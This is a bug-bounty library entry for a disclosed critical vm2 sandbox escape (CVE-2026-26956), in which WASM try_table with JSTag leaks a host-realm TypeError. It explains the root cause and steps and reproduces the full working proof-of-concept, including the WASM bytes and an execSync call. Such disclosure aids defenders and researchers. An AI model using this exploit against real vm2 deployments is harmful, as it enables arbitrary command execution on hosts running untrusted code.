# VM2 Has a WASM Sandbox Escape

vm2 3.10.4 sandbox escape: WASM try_table with JSTag catches a host-realm TypeError below JS, leaking host Function constructor and yielding RCE.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: 0x5t, Wenxin-Jiang
- Disclosed: 2026-05-05
- CVE: CVE-2026-26956
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-ffh4-j6h5-pg66
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-ffh4-j6h5-pg66
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:rce vuln:sandbox-escape

**Target:** vm2 sandbox (VM.run) on Node.js with WASM exception handling
**Root cause:** vm2's sandbox relies on JS-level catch-clause rewriting and bridge Proxies; WASM try_table with JSTag catches JS exceptions at V8's C++ level, so a host-realm TypeError escapes sanitization and reaches attacker code as an opaque externref.
**Steps:**
1. Inside `VM.run()`, create `err = new Error("x")` and set `err.name = Symbol()` so stack formatting throws a host-realm TypeError.
2. Build a WASM module importing `env.trigger` (throws via `err.stack`) and `js.tag` = `WebAssembly.JSTag`, with a function using `try_table` catching tag 4 into an externref return.
3. Instantiate and call `instance.exports.catch_error()` to obtain the unsanitized host TypeError.
4. Reach host realm via `hostError.constructor.constructor("return process")()` and run `p.mainModule.require("child_process").execSync("id")`.
**How found:** Reasoned that vm2's defenses (catch-clause transformer, bridge Proxies) are pure JavaScript, while WASM exception handling operates at V8's C++ layer; hypothesized a JSTag try_table could intercept a host-realm exception before vm2's JS-level wrapping, then forced a host TypeError via Symbol name coercion during stack formatting.
**Exploitation:** Attacker-supplied code in VM.run() instantiates a crafted WASM module whose imported JS function throws a host TypeError; the WASM try_table/JSTag handler converts it to a return value, giving attacker code a host-realm object whose constructor chain yields Function('return process')(), then child_process.execSync for arbitrary host command execution with no host cooperation.
**Escalation:** From leaked host TypeError, constructor.constructor escapes the vm2 realm to obtain the host process object and spawn child processes.
**Insight:** When a sandbox's isolation is implemented in the same language it sandboxes, look for engine features that cross the boundary below that language layer — WASM exception handling/JSTag, GC, or host callbacks — and force host-realm errors (e.g. Symbol coercion in stack formatting) that the JS-level wrapper never sees.

## Proof of concept (copied exactly from the original report)

**vm2 WASM JSTag sandbox escape PoC**

```
const { VM } = require("vm2");
console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);

new VM().run(`
    const before = typeof process;

    const err = new Error("x");
    err.name = Symbol();

    const wasm = new Uint8Array([
        0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
        0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
        0x02,0x19,0x02,
        0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
        0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
        0x03,0x02,0x01,0x01,
        0x07,0x0f,0x01,
        0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
        0x0a,0x12,0x01,0x10,0x00,
        0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
    ]);

    const instance = new WebAssembly.Instance(
        new WebAssembly.Module(wasm),
        { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }
    );

    const hostError = instance.exports.catch_error();
    const p = hostError.constructor.constructor("return process")();
    const id = p.mainModule.require("child_process").execSync("id").toString().trim();
    const log = p.mainModule.require("console").log;
    log("");
    log("process before escape:", before);
    log("process after escape: ", typeof p);
    log("host pid:             ", p.pid);
    log("host node version:    ", p.version);
    log("RCE:                  ", id);
`);
```

